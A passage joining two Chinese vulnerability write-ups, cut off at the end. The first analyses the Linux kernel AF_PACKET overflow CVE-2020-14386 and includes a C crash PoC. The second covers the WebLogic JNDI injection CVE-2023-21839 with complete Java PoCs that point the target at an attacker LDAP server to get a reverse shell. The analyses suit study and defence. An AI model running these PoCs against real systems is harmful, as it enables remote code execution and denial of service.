（4）赋予poc CAP_NET_RAW 权限，CAP_NET_RAW权限，可以通过网络命名空间来实现，编译内核时需要开启CONFIG_USER_NS=y
# 设置 cap_net_raw 权限
setcap cap_net_raw+ep ./poc
# 查看程序的 cap 权限
getcap ./poc
# 删除 cap_net_raw 权限
setcap cap_net_raw-ep ./poc
仅做调试使用可以直接运行：
sudo ./poc skip-unshare
（5）传入qemu镜像中就可以调试
设置断点：
b tpacket_rcv
## 基础知识
### linux 内核的内存布局
0xffffffffffffffff ---+-----------+-----------------------------------------------+-------------+
| | |+++++++++++++|
8M | | unused hole |+++++++++++++|
| | |+++++++++++++|
0xffffffffff7ff000 ---|-----------+------------| FIXADDR_TOP |--------------------|+++++++++++++|
1M | | |+++++++++++++|
0xffffffffff600000 ---+-----------+------------| VSYSCALL_ADDR |------------------|+++++++++++++|
548K | | vsyscalls |+++++++++++++|
0xffffffffff577000 ---+-----------+------------| FIXADDR_START |------------------|+++++++++++++|
5M | | hole |+++++++++++++|
0xffffffffff000000 ---+-----------+------------| MODULES_END |--------------------|+++++++++++++|
| | |+++++++++++++|
1520M | | module mapping space (MODULES_LEN) |+++++++++++++|
| | |+++++++++++++|
0xffffffffa0000000 ---+-----------+------------| MODULES_VADDR |------------------|+++++++++++++|
| | |+++++++++++++|
512M | | kernel text mapping, from phys 0 |+++++++++++++|
| | |+++++++++++++|
0xffffffff80000000 ---+-----------+------------| __START_KERNEL_map |-------------|+++++++++++++|
2G | | hole |+++++++++++++|
0xffffffff00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
64G | | EFI region mapping space |+++++++++++++|
0xffffffef00000000 ---+-----------+-----------------------------------------------|+++++++++++++|
444G | | hole |+++++++++++++|
0xffffff8000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | %esp fixup stacks |+++++++++++++|
0xffffff0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
3T | | hole |+++++++++++++|
0xfffffc0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
16T | | kasan shadow memory (16TB) |+++++++++++++|
0xffffec0000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffeb0000000000 ---+-----------+-----------------------------------------------| kernel space|
1T | | virtual memory map for all of struct pages |+++++++++++++|
0xffffea0000000000 ---+-----------+------------| VMEMMAP_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffe90000000000 ---+-----------+------------| VMALLOC_END |------------------|+++++++++++++|
32T | | vmalloc/ioremap (1 << VMALLOC_SIZE_TB) |+++++++++++++|
0xffffc90000000000 ---+-----------+------------| VMALLOC_START |------------------|+++++++++++++|
1T | | hole |+++++++++++++|
0xffffc80000000000 ---+-----------+-----------------------------------------------|+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
64T | | direct mapping of all phys. memory |+++++++++++++|
| | (1 << MAX_PHYSMEM_BITS) |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
| | |+++++++++++++|
0xffff880000000000 ----+-----------+-----------| __PAGE_OFFSET_BASE | -------------|+++++++++++++|
| | |+++++++++++++|
8T | | guard hole, reserved for hypervisor |+++++++++++++|
| | |+++++++++++++|
0xffff800000000000 ----+-----------+-----------------------------------------------+-------------+
|-----------| |-------------|
|-----------| hole caused by [48:63] sign extension |-------------|
|-----------| |-------------|
0x0000800000000000 ----+-----------+-----------------------------------------------+-------------+
PAGE_SIZE | | guard page |xxxxxxxxxxxxx|
0x00007ffffffff000 ----+-----------+--------------| TASK_SIZE_MAX | ---------------|xxxxxxxxxxxxx|
| | | user space |
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
128T | | different per mm |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
| | |xxxxxxxxxxxxx|
0x0000000000000000 ----+-----------+-----------------------------------------------+-------------+
### PACKET_MMAP
类型为SOCK_DGRAM/SOCK_RAW的PF_PACKET套接口，除了普通的在内核与用户层间拷贝数据包的方式外，还可通过setsockopt系统调用设置环形接收buffer，通过mmap与应用层共享这部分内存。如果通过setsockopt系统调用使能了PACKET_VNET_HDR选项，还有一个virtio_net_hdr结构，如下数据帧空间buffer中一个数据包相关的所有信息块如下：
目前TPACKET_HEADER有三个版本，每个版本的长度略有不同，用户层可使用setsockopt（PACKET_VERSION）设置需要的版本，另外也可通过getsockopt（PACKET_HDRLEN）获取到每个版本对应的头部长度，设置环形接收buffer需要此长度值。
enum tpacket_versions {
TPACKET_V1,
TPACKET_V2,
TPACKET_V3
};
对于版本1和2，不论接收还是发送的环形buffer，需要配置4个参数：分别为内存块的大小和数量、每个数据包的大小和数据包总数
struct tpacket_req {
unsigned int tp_block_size; /* Minimal size of contiguous block */
unsigned int tp_block_nr; /* Number of blocks */
unsigned int tp_frame_size; /* Size of frame */
unsigned int tp_frame_nr; /* Total number of frames */
};
上述结构定义在：/usr/include/linux/if_packet.h，构建了一个环形buffer，一个环形buffer就是一块存放数据包的内存区域。每个数据包会存放在一个单独的帧（frame）中，多个帧会被分组形成内存块（block）。每个block有
frames_per_block = tp_block_size / tp_frame_size
个frame，tp_block_nr表示block的总数，tp_frame_nr表示frame总数 。
例如：
tp_block_size= 4096
tp_frame_size= 2048
tp_block_nr = 4
tp_frame_nr = 8
得到的缓冲区结构如下图所示：
block #1 block #2
+---------+---------+ +---------+---------+
| frame 1 | frame 2 | | frame 3 | frame 4 |
+---------+---------+ +---------+---------+
block #3 block #4
+---------+---------+ +---------+---------+
| frame 5 | frame 6 | | frame 7 | frame 8 |
+---------+---------+ +---------+---------+
block 是由 pg_vec kmalloc进行动态分配的vector，block之间并不会紧邻：
static char *alloc_one_pg_vec_page(unsigned long order)
{
buffer = (char *) __get_free_pages(gfp_flags, order);
if (buffer)
return buffer;
}
static struct pgv *alloc_pg_vec(struct tpacket_req *req, int order)
{
for (i = 0; i < block_nr; i++) {
pg_vec[i].buffer = alloc_one_pg_vec_page(order);
}
}
ring buffer是用于数据包处理的缓冲区，rx_ring
是接收数据的缓冲区，tx_ring是传输数据的缓冲区，分别可以通过setsockopt的PACKET_RX_RING和PACKET_TX_RING参数进行设置，packet_ring_buffer定义如下：
struct packet_ring_buffer {
struct pgv *pg_vec;
struct tpacket_kbdq_core prb_bdqc;
}
struct pgv {
char *buffer;
}
其中pg_vec字段为指向pgv结构体数组的一个指针，数组中的每个元素都保存了对某个内存块的引用。每个内存块实际上都是单独分配的，没有位于一个连续的内存区域中：
## 漏洞分析
packet_set_ring->tpacket_rcv：
漏洞代码：
static int tpacket_rcv(struct sk_buff *skb, struct net_device *dev,
struct packet_type *pt, struct net_device *orig_dev)
{
// ...
if (sk->sk_type == SOCK_DGRAM) {
macoff = netoff = TPACKET_ALIGN(po->tp_hdrlen) + 16 +
po->tp_reserve;
} else {
unsigned int maclen = skb_network_offset(skb);
// tp_reserve is unsigned int, netoff is unsigned short. Addition can overflow netoff
netoff = TPACKET_ALIGN(po->tp_hdrlen +
(maclen < 16 ? 16 : maclen)) +
po->tp_reserve; // [1]
if (po->has_vnet_hdr) {
netoff += sizeof(struct virtio_net_hdr);
do_vnet = true;
}
// Attacker controls netoff and can make macoff be smaller than sizeof(struct virtio_net_hdr)
macoff = netoff - maclen; // [2]
}
// ...
// "macoff - sizeof(struct virtio_net_hdr)" can be negative, resulting in a pointer before h.raw
if (do_vnet &&
virtio_net_hdr_from_skb(skb, h.raw + macoff - sizeof(struct virtio_net_hdr),
vio_le(), true, 0)) { // [3]
// ...
漏洞在于[1]处，netoff是 unsigned short 类型，范围为[0, 0xffff]，而tp_reserve为unsigned int
类型，范围为[0,
0xffffffff]，在赋值过程进行类型转化，导致高两个字节截断。所以[2]处控制netoff，使得到的macoff小于sizeof(struct
virtio_net_hdr)，[3]处macoff - sizeof(struct virtio_net_hdr) 为负，相当于往&h.raw
地址前面写入数据，造成向上越界写漏洞。
调试过程：
[1]处为下图中红框的执行代码：po->tp_reserve存放在$rbp+0x4e4处，赋给
esi寄存器，值为0xffb4，得到的maclen为0xe，保存在edx寄存器中，经过`(maclen < 16 ? 16 : maclen)`
比较值变成0x10，eax寄存器保存po->tp_hdrlen的值，为0x43，所以最后经过处理`po->tp_hdrlen + (maclen < 16
? 16 : maclen))` 的值为
（0x10+0x43）&0xfffffff0=0x50，加上po->tp_reserve的值0xfffb4，得到0xfffb4+0x50=0x10004，但因为netoff是unsigned
short类型，所以通过ax寄存器传递，造成了截断，此时netoff=0x4。
进入[2] 处前会进入一个判断：
if (po->has_vnet_hdr) {
netoff += sizeof(struct virtio_net_hdr);
do_vnet = true;
}
virtio_net_hdr结构大小为0xa，所以netoff变成0x4+0xa=0xe。
进入[2]处：
macoff = netoff - maclen;
macoff = 0xe - 0xe =0x0。
进入[3]处：
if (do_vnet &&
virtio_net_hdr_from_skb(skb, h.raw + macoff - sizeof(struct virtio_net_hdr),
vio_le(), true, 0)) {
virtio_net_hdr_from_skb 函数实现如下：
static inline int virtio_net_hdr_from_skb(const struct sk_buff *skb,
struct virtio_net_hdr *hdr,
bool little_endian,
bool has_data_valid,
int vlan_hlen)
{
memset(hdr, 0, sizeof(*hdr)); /* no info leak */
if (skb_is_gso(skb)) {
struct skb_shared_info *sinfo = skb_shinfo(skb);
/* This is a hint as to how much should be linear. */
hdr->hdr_len = __cpu_to_virtio16(little_endian,
skb_headlen(skb));
hdr->gso_size = __cpu_to_virtio16(little_endian,
sinfo->gso_size);
if (sinfo->gso_type & SKB_GSO_TCPV4)
hdr->gso_type = VIRTIO_NET_HDR_GSO_TCPV4;
else if (sinfo->gso_type & SKB_GSO_TCPV6)
hdr->gso_type = VIRTIO_NET_HDR_GSO_TCPV6;
else
return -EINVAL;
if (sinfo->gso_type & SKB_GSO_TCP_ECN)
hdr->gso_type |= VIRTIO_NET_HDR_GSO_ECN;
} else
hdr->gso_type = VIRTIO_NET_HDR_GSO_NONE;
if (skb->ip_summed == CHECKSUM_PARTIAL) {
hdr->flags = VIRTIO_NET_HDR_F_NEEDS_CSUM;
hdr->csum_start = __cpu_to_virtio16(little_endian,
skb_checksum_start_offset(skb) + vlan_hlen);
hdr->csum_offset = __cpu_to_virtio16(little_endian,
skb->csum_offset);
} else if (has_data_valid &&
skb->ip_summed == CHECKSUM_UNNECESSARY) {
hdr->flags = VIRTIO_NET_HDR_F_DATA_VALID;
} /* else everything is zero */
return 0;
}
h.raw地址为0xffffc90000429000，保存在%r10寄存器，macoff经过之前的计算，值为0x0，保存在%rdx寄存器中，virtio_net_hdr结构体大小为0xa，所以经过计算传入的参数hdr
= h.raw + macoff - sizeof(struct virtio_net_hdr) = （0xffffc90000429000 + 0*1）-0xa =
0xffffc90000428ff6，因为0xffffc90000428ff6地址未被映射，无法访问，而进入virtio_net_hdr_from_skb函数后对hdr地址有个初始化操作，所以由于访问错误
do_page_fault 造成crash。
漏洞限制：
该漏洞需要程序拥有CAP_NET_RAW权限，并且只能向上越界写1~10个字节。因为越界写处： virtio_net_hdr_from_skb(skb,
h.raw + macoff - sizeof(struct virtio_net_hdr), vio_le(), true, 0)，要往h.raw
之前的地址写，需要加上一个负数，而macoff为unsigned
short类型，最小值为0，所以最多减去一个virtio_net_hdr结构大小（为0xa个字节大小）。
Poc代码：
/* Taken from https://www.openwall.com/lists/oss-security/2020/09/03/3 */
#define _GNU_SOURCE
#include <sched.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <linux/if_packet.h>
#include <net/ethernet.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <stdbool.h>
#include <stdarg.h>
#include <net/if.h>
#include <stdint.h>
#define KMALLOC_PAD 512
#define PAGEALLOC_PAD 1024
void packet_socket_rx_ring_init(int s, unsigned int block_size,
unsigned int frame_size, unsigned int block_nr) {
int v = TPACKET_V2;
int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v));
if (rv < 0) {
perror("[-] setsockopt(PACKET_VERSION)");
exit(EXIT_FAILURE);
}
v = 1;
rv = setsockopt(s, SOL_PACKET, PACKET_VNET_HDR, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_VNET_HDR)\n");
return 1;
}
v = 0xffff - 20 - 0x30 -7; //0xffb4
rv = setsockopt(s, SOL_PACKET, PACKET_RESERVE, &v, sizeof(v));
if (rv < 0)
{
perror("setsockopt(PACKET_RESERVE)\n");
return 1;
}
struct tpacket_req req;
memset(&req, 0, sizeof(req));
req.tp_block_size = block_size;
req.tp_frame_size = frame_size;
req.tp_block_nr = block_nr;
req.tp_frame_nr = (block_size * block_nr) / frame_size;
rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req));
if (rv < 0) {
perror("[-] setsockopt(PACKET_RX_RING)");
exit(EXIT_FAILURE);
}
}
int packet_socket_setup(unsigned int block_size, unsigned int frame_size,
unsigned int block_nr) {
int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
if (s < 0) {
perror("[-] socket(AF_PACKET)");
exit(EXIT_FAILURE);
}
packet_socket_rx_ring_init(s, block_size, frame_size, block_nr);
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_family = PF_PACKET;
sa.sll_protocol = htons(ETH_P_ALL);
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_hatype = 0;
sa.sll_pkttype = 0;
sa.sll_halen = 0;
int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa));
if (rv < 0) {
perror("[-] bind(AF_PACKET)");
exit(EXIT_FAILURE);
}
return s;
}
// * * * * * * * * * * * * * * Heap shaping * * * * * * * * * * * * * * * * *
int packet_sock_kmalloc() {
int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
if (s == -1) {
perror("[-] socket(SOCK_DGRAM)");
exit(EXIT_FAILURE);
}
return s;
}
void kmalloc_pad(int count) {
int i;
for (i = 0; i < count; i++)
packet_sock_kmalloc();
}
void pagealloc_pad(int count) {
packet_socket_setup(0x8000, 2048, count);
}
bool write_file(const char* file, const char* what, ...) {
char buf[1024];
va_list args;
va_start(args, what);
vsnprintf(buf, sizeof(buf), what, args);
va_end(args);
buf[sizeof(buf) - 1] = 0;
int len = strlen(buf);
int fd = open(file, O_WRONLY | O_CLOEXEC);
if (fd == -1)
return false;
if (write(fd, buf, len) != len) {
close(fd);
return false;
}
close(fd);
return true;
}
void setup_unshare() {
int real_uid = getuid();
int real_gid = getgid();
if (unshare(CLONE_NEWUSER) != 0) {
perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) != 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/setgroups", "deny")) {
perror("[-] write_file(/proc/self/set_groups)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
perror("[-] write_file(/proc/self/uid_map)");
exit(EXIT_FAILURE);
}
if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}
}
void prep() {
cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}
}
void packet_socket_send(int s, char *buffer, int size) {
struct sockaddr_ll sa;
memset(&sa, 0, sizeof(sa));
sa.sll_ifindex = if_nametoindex("lo");
sa.sll_halen = ETH_ALEN;
if (sendto(s, buffer, size, 0, (struct sockaddr *)&sa,
sizeof(sa)) < 0) {
perror("[-] sendto(SOCK_RAW)");
exit(EXIT_FAILURE);
}
}
void loopback_send(char *buffer, int size) {
int s = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (s == -1) {
perror("[-] socket(SOCK_RAW)");
exit(EXIT_FAILURE);
}
packet_socket_send(s, buffer, size);
}
int main(int argc, char **argv)
{
int skip_unshare = 0;
struct stat stbuf;
if (argc > 1 && strcmp (argv[1], "skip-unshare") == 0)
skip_unshare = 1;
else if (stat ("/run/secrets/kubernetes.io", &stbuf) == 0)
skip_unshare = 1;
if (!skip_unshare)
setup_unshare();
prep();
packet_socket_setup(0x800000, 0x11000, 2);
uint32_t size = 0x80000/8;
char* buf = malloc(size);
if(!buf)
{
perror("malloc\n");
exit(EXIT_FAILURE);
}
memset(buf,0xce,size);
loopback_send(buf,size);
return 0;
}
栈回溯：
#0 memset_erms () at arch/x86/lib/memset_64.S:66
#1 0xffffffff831934a6 in virtio_net_hdr_from_skb
(little_endian=<optimized out>, has_data_valid=<optimized out>,
vlan_hlen=<optimized out>, hdr=<optimized out>, skb=<optimized
out>) at ./include/linux/virtio_net.h:134
#2 tpacket_rcv (skb=0xffff8881ef539940, dev=0xffff8881de534000,
pt=<optimized out>, orig_dev=<optimized out>)
at net/packet/af_packet.c:2287
#3 0xffffffff82c52e47 in dev_queue_xmit_nit (skb=0xffff8881ef5391c0,
dev=<optimized out>) at net/core/dev.c:2276
#4 0xffffffff82c5e3d4 in xmit_one (more=<optimized out>,
txq=<optimized out>, dev=<optimized out>,
skb=<optimized out>) at net/core/dev.c:3473
#5 dev_hard_start_xmit (first=0xffffc900001c0ff6, dev=0x0
<fixed_percpu_data>, txq=0xa <fixed_percpu_data+10>,
ret=<optimized out>) at net/core/dev.c:3493
#6 0xffffffff82c5fc7e in __dev_queue_xmit (skb=0xffff8881ef5391c0,
sb_dev=<optimized out>) at net/core/dev.c:4052
#7 0xffffffff831982d3 in packet_snd (len=65536, msg=<optimized out>,
sock=<optimized out>) 0001-net-packet-fix-overflow-in-tpacket_rcv
at net/packet/af_packet.c:2979
#8 packet_sendmsg (sock=<optimized out>, msg=<optimized out>,
len=65536) at net/packet/af_packet.c:3004
#9 0xffffffff82be09ed in sock_sendmsg_nosec (msg=<optimized out>,
sock=<optimized out>) at net/socket.c:652
#10 sock_sendmsg (sock=0xffff8881e8ff56c0, msg=0xffff8881de56fd88) at
net/socket.c:672
## 漏洞利用
该漏洞和 CVE-2017-7308 Linux Kernel packet_set_ring
整数符号错误漏洞类似，不过CVE-2017-7308是向后溢出。
利用尝试：
想要参考 CVE-2017-7308
布置堆的布局进行利用，但是packet_set_ring函数中进行了检查，为了触发漏洞，我们构造的po->tp_reserve
为0xffb4，这就造成下面【1】处最小frame的大小min_frame_size
为0xffe8，所以block的大小至少要为0x10000，这样就不能控制填充什么结构在block旁边。（这样大小的堆块不知道是通过什么vmalloc-xxx分配得到，vmalloc-xxx可以对应什么结构不清楚？）
static int packet_set_ring(struct sock *sk, union tpacket_req_u *req_u,
int closing, int tx_ring)
{
……
if (req->tp_block_nr) {
unsigned int min_frame_size;
/* Sanity tests and some calculations */
err = -EBUSY;
if (unlikely(rb->pg_vec))
goto out;
switch (po->tp_version) {
case TPACKET_V1:
po->tp_hdrlen = TPACKET_HDRLEN;
break;
case TPACKET_V2:
po->tp_hdrlen = TPACKET2_HDRLEN;
break;
case TPACKET_V3:
po->tp_hdrlen = TPACKET3_HDRLEN;
break;
}
err = -EINVAL;
if (unlikely((int)req->tp_block_size <= 0))
goto out;
if (unlikely(!PAGE_ALIGNED(req->tp_block_size)))
goto out;
min_frame_size = po->tp_hdrlen + po->tp_reserve; // <------------【1】计算min_frame_size
if (po->tp_version >= TPACKET_V3 &&
req->tp_block_size <
BLK_PLUS_PRIV((u64)req_u->req3.tp_sizeof_priv) + min_frame_size)
goto out;
if (unlikely(req->tp_frame_size < min_frame_size)) // <-----------【2】 frame的size不能小于min_frame_size
goto out;
if (unlikely(req->tp_frame_size & (TPACKET_ALIGNMENT - 1)))
goto out;
rb->frames_per_block = req->tp_block_size / req->tp_frame_size;
if (unlikely(rb->frames_per_block == 0)) // <----------------【3】 block 不能小于frame
goto out;
if (unlikely(rb->frames_per_block > UINT_MAX / req->tp_block_nr))
goto out;
if (unlikely((rb->frames_per_block * req->tp_block_nr) !=
req->tp_frame_nr))
goto out;
//分配环形缓冲区的内存块空间：
err = -ENOMEM;
order = get_order(req->tp_block_size);
pg_vec = alloc_pg_vec(req, order);
packet_sock对象通过slab分配器使用kmalloc()函数进行分配。slab分配器主要用于分配比单内存页还小的那些对象
h.raw 的获得：
tpacket_rcv：
-> h.raw = packet_current_rx_frame(po, skb,TP_STATUS_KERNEL, (macoff+snaplen));
->case TPACKET_V2:
curr = packet_lookup_frame(po, &po->rx_ring, po->rx_ring.head, status);
static void *packet_lookup_frame(struct packet_sock *po,
struct packet_ring_buffer *rb,
unsigned int position,
int status)
{
unsigned int pg_vec_pos, frame_offset;
union tpacket_uhdr h;
pg_vec_pos = position / rb->frames_per_block;
frame_offset = position % rb->frames_per_block;
h.raw = rb->pg_vec[pg_vec_pos].buffer +
(frame_offset * rb->frame_size);
if (status != __packet_get_status(po, h.raw))
return NULL;
return h.raw;
}
该漏洞只能向前越界写1~10个字节，并且block只能分配大于0x10000，目前来看利用是很难的
作者利用思路：
struct sctp_shared_key {
struct list_head key_list;
struct sctp_auth_bytes *key;
refcount_t refcnt;
__u16 key_id;
__u8 deactivated;
};
作者提供的漏洞利用思路是在ring
buffer前放置一个包含refcount的结构，上溢减小refcount的值，因为packet_socket_send中的memset会赋零。refcount减少，该对象会被认为被释放了，转化成UAF漏洞。
目前找到的是sctp_shared_key这个结构，占32个字节大小，通过kmalloc-32分配，因为一页的大小为4k，4k%32=0，而ring
buffer分配是页对齐的，所以将sctp_shared_key 分配在页的最后。
由于结构对齐的缘故，key_id和deactivated字段各占4个字节，所以利用漏洞最多上溢refcnt 1~2个字节
另外笔者认为作者说溢出refcnt最高位两个字节是不是搞错了，还是说大端存放？那么图片中应该是refcount=10001b就说的通了。
总结：
本篇文章分析了CVE-2020-14386：Linux内核AF_PACKET权限提升漏洞的成因，对作者的漏洞利用思路进行了解读，但未实现漏洞利用，希望抛砖引玉，有大佬能实现漏洞利用，或者分享一下思路。
## 补丁分析
补丁将netoff 类型设置成unsigned int，赋值左右两边类型相同，不会造成整数溢出。并且检查了netoff要小于USHRT_MAX。
## 参考链接
<https://gvisor.dev/blog/2020/09/18/containing-a-real-vulnerability/>
<https://www.openwall.com/lists/oss-security/2020/09/03/3>
<https://cert.360.cn/warning/detail?id=e73761f3747ae3b13b61b7f25a9a8e8a>
<https://mp.weixin.qq.com/s/uv3BiznUCUy8do_ullnXUw>
<https://blog.csdn.net/sinat_20184565/article/details/82788387>
<https://www.anquanke.com/post/id/86139>
<http://repwn.com/archives/27/>
<https://xz.aliyun.com/t/3455#toc-4>
<https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html>
<https://github.com/bcoles/kernel-exploits/blob/master/CVE-2017-7308/poc.c>
docker：<https://github.com/cgwalters/cve-2020-14386>
作者的漏洞分析：<https://unit42.paloaltonetworks.com/cve-2020-14386/>
补丁：
<https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=acf69c946233259ab4d64f8869d4037a198c7f06>
packet_mmap：<https://elixir.bootlin.com/linux/v5.6/source/Documentation/networking/packet_mmap.txt> | 社区文章 |
参考：
<https://baijiahao.baidu.com/s?id=1758317868693403050>
CVE-2023-21839是一个weblogic的JNDI注入漏洞。
> 由于Weblogic
> t3/iiop协议支持远程绑定对象bind到服务端，并且可以通过lookup查看，当远程对象继承自OpaqueReference时，lookup查看远程对象，服务端会调用远程对象getReferent方法。weblogic.deployment.jms.ForeignOpaqueReference继承自OpaqueReference并且实现了getReferent方法，并且存在retVal
> = context.lookup(this.remoteJNDIName)实现，故可以通过rmi/ldap远程协议进行远程命令执行。
## 远程绑定对象
weblogic的t3与iiop协议都支持使用JNDI来远程绑定对象并lookup查询，代码如下：
// 创建远程对象
MyRemoteObject remoteObject = new MyRemoteObject();
// 获取上下文
Hashtable env = new Hashtable();
env.put(Context.INITIAL_CONTEXT_FACTORY, "weblogic.jndi.WLInitialContextFactory");
env.put(Context.PROVIDER_URL, "t3://<server_ip>:<iiop_port>");
Context ctx = new InitialContext(env);
// 绑定对象到JNDI
ctx.rebind("myRemoteObject", remoteObject);
// 远程查找对象
MyRemoteObject remoteObj = (MyRemoteObject) ctx.lookup("myRemoteObject");
如果想通过iiop协议绑定则把代码中的t3换成iiop即可，需要注意的是，由于在绑定的过程中，数据是序列化传输的，所以这里的MyRemoteObject需要实现Serializable接口。
CVE-2020-2551就是利用这种方式，客户端向服务端发送remoteObject之后，服务端对其进行反序列化，导致造成反序列化漏洞。
## OpaqueReference
weblogic中的OpaqueReference是一个接口：
当远程对象继承自OpaqueReference时，客户端在对该对象进行JNDI查找并获取的时候，服务器端实际上是通过调用远程对象的getReferent()方法来获取该对象的实际引用。
## 漏洞分析
分析环境用的是weblogic 10.3.6.0
漏洞的触发点在ForeignOpaqueReference.getReferent()
ForeignOpaqueReference继承自OpaqueReference，前面说过，当远程对象继承自OpaqueReference时，客户端在对该对象进行JNDI查找并获取的时候，服务器端实际上是通过调用远程对象的getReferent()方法来获取该对象的实际引用。所以，如果远程绑定了ForeignOpaqueReference对象，在lookup查询该对象时，就会调用ForeignOpaqueReference.getReferent()，所以这里我们只要控制var4与this.remoteJNDIName就能造成jndi注入。
this.remoteJNDIName是一个private的属性，可以通过反射的方式进行修改。
var4的话，只要this.jndiEnvironment有值，就用this.jndiEnvironment的值对InitialContext进行初始化，this.jndiEnvironment也可以使用反射的方式进行赋值。
所以poc如下：
依赖：
<dependency>
<groupId>weblogic</groupId>
<artifactId>wlfullclient</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>spring</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>logging</artifactId>
<version>0.1</version>
</dependency>
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "t3://192.168.135.129:7001"; // 目标机器
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
remoteJNDIName.set(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
如果通过iiop协议绑定及查询的话，需要解决iiop的nat网络问题，需要手动设置IOPProfile.IP和IOPProfile.PORT，完整poc如下：
import weblogic.deployment.jms.ForeignOpaqueReference;
import weblogic.iiop.IOPProfile;
import javax.naming.Context;
import javax.naming.InitialContext;
import java.lang.reflect.Field;
import java.util.Hashtable;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory";
// 创建用来远程绑定对象的InitialContext
String url = "iiop://192.168.135.129:7001"; // 目标机器
long TIME_OUT = 15000L; // 超时时间
Hashtable env1 = new Hashtable();
env1.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
env1.put(Context.PROVIDER_URL, url); // 目标
env1.put("weblogic.jndi.requestTimeout", TIME_OUT + ""); // 超时时间
IOPProfile.IP = "192.168.135.129"; // 解决iiop协议的nat网络问题
IOPProfile.PORT = 7001; // 解决iiop协议的nat网络问题
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference的jndiEnvironment属性
Hashtable env2 = new Hashtable();
env2.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// ForeignOpaqueReference的jndiEnvironment和remoteJNDIName属性
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ForeignOpaqueReference.class.getDeclaredField("jndiEnvironment");
jndiEnvironment.setAccessible(true);
jndiEnvironment.set(f, env2);
Field remoteJNDIName = ForeignOpaqueReference.class.getDeclaredField("remoteJNDIName");
remoteJNDIName.setAccessible(true);
String ldap = "ldap://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
remoteJNDIName.set(f, ldap);
// 远程绑定ForeignOpaqueReference对象
c.rebind("sectest", f);
// lookup查询ForeignOpaqueReference对象
try {
c.lookup("sectest");
} catch (Exception e) {
}
}
}
## 总结
CVE-2023-21839是一个weblogic的JNDI注入漏洞。它与CVE-2020-2551有些相似，但又不同：
